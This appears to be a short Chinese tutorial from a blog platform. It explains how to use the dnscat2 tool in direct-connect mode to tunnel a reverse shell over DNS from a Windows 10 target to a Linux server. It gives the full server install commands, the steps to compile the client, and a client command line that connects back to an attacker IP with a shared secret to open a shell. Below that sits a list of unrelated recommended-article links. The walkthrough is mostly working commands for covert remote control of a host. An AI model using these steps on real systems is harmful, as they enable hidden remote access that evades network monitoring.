使用dnscat2 进行dns隧道反弹shell——直连模式linux对windows

  • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求

环境搭建

搭建服务端

git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/server/

gem install bundler

apt-get install ruby-dev

bundle install

过程会有点慢

开启服务端

ruby ./dnscat2.rb

搭建客户端

这里首先需要在Visual Studio 2008中打开一个解决方案:client\win32\dnscat2.vcproj。然后编译就会看到client\win32\Release下有一个dnscat2.exe文件了

将这个文件上传至win10靶机运行

开启客户端

dnscat2.exe --dns server=192.168.227.128,port=53 --secret=9d42a40bfeef7cf1f781326684d4d3e0

剩下的就和linux一样,进入隧道反弹shell,然后ctrl+z返回上一层

进入弹回来的shell

相关推荐
代码派2 分钟前
免费本地部署的数据库 DevOps 工具,能覆盖多少日常工作场景?以 NineData 社区版为例
运维·数据库·database·devops·数据库管理工具·数据管理·sql工具
程序设计实验室5 分钟前
别再手动复制SSH公钥了,Linux服务器一键从GitHub快速导入公钥
linux
雾岛听蓝13 分钟前
动静态库原理与ELF文件详解
linux·经验分享·笔记
枕布响丸辣15 分钟前
Nginx 安全防护与 HTTPS 部署实战
linux·运维·服务器·系统安全
Vallelonga16 分钟前
认识 Linux 终端
linux
顶点多余18 分钟前
进程控制详解
linux·运维·服务器
liuyao_xianhui19 分钟前
优选算法_丢失的数字_位运算_C++
linux·数据结构·c++·算法·动态规划·哈希算法·散列表
CCPC不拿奖不改名23 分钟前
RAG基础:评测系统RAGAS的四大指标
linux·服务器·人工智能·计算机视觉·前端框架·知识库搭建
橘子1332 分钟前
ICMP协议
运维·服务器·网络
chalmers_1537 分钟前
封禁暴力破解SSH的攻击IP
linux·服务器·ssh